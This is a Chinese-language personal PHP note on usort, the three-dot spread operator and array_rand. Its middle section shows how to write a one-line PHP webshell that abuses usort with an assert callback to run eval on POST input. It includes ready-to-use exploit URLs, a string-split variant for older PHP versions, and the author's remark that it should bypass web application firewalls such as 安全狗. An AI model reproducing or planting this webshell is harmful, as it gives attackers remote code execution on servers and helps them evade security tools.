*usort*($data\_response['data'], function (*$prev*, *$next*) {  
 return *strcmp*(*$prev*['trade\_time'], *$next*['trade\_time']);  
});

从小到大排序。如果想倒叙

Return -\*\*\*；

<?php

function my\_sort($a,$b){

    if ($a==$b){

        return 0;

    }else{

        return ($a<$b)?-1:1;

    }

}

$list = array(4,2,8,6);

usort($list,'my\_sort');

第一个参数必须是数组

第二个参数是函数名称

usort函数执行的时候,会依次把$a中的两个值,传递给名字为my\_sort函数中,所以你会看到my\_sort有两个形参

然后php会判断my\_sort函数的返回值

如果为0,则位置不变

如果为-1.则$a位置和$b不变

如果为1,则$a位置和$b互换

…运算符,对就是三个点

官方介绍:<http://php.net/manual/zh/migration56.new-features.php>

该运算符可以将数组或者可遍历的对象展开变为参数

不过必须是索引数组哦~~~

举个栗子

<?php

$list = [1,2,3];

var\_dump($list);

echo "========\n";//

var\_dump(...$list);

返回结果如下

array(3) {

  [0]=>

  int(1)

  [1]=>

  int(2)

  [2]=>

  int(3)

}

========

int(1)

int(2)

int(3)

**编写一句话**

先放出最终的代码

<?php usort(...$\_GET);?>

那么$\_GET变量中的值,应该是

['$a=0','eval($\_POST["x"])'],'assert'];

$\_GET[0]是usort的第一个参数

$\_GET[1]是usort的回调函数名

也就相当于

<?php usort(['$a=0','eval($\_POST["x"])'],'assert');?>

最终利用是这样的

http://www.url.com/t.php?1[]=1-1&1[]=eval($\_POST['x'])&2=assert

我自己本地环境测试成功了~~~

应该能过什么安全狗啊啥的

**更新(17-01-19)**

上面的一句话,只能在php环境>=5.6才能用

于是更新下,环境>=<5.6都可以的一句话

<?php usort($\_GET,'asse'.'rt');?>

使用方法

http://www.url.com/test.php?1=1+1&2=eval($\_POST[x])

-------------------------------------------------------------------------------

2018年4月23日15:18:12

*array\_rand*

[mixed](mk:@MSITStore:C:\Users\Administrator\Desktop\php_manual_zh.chm::/res/language.pseudo-types.html#language.types.mixed) **array\_rand** ( array $input [, int $num\_req = 1 ] )

array\_rand — 从数组中随机取出一个或多个单元

-----------------------------------------------------------------------------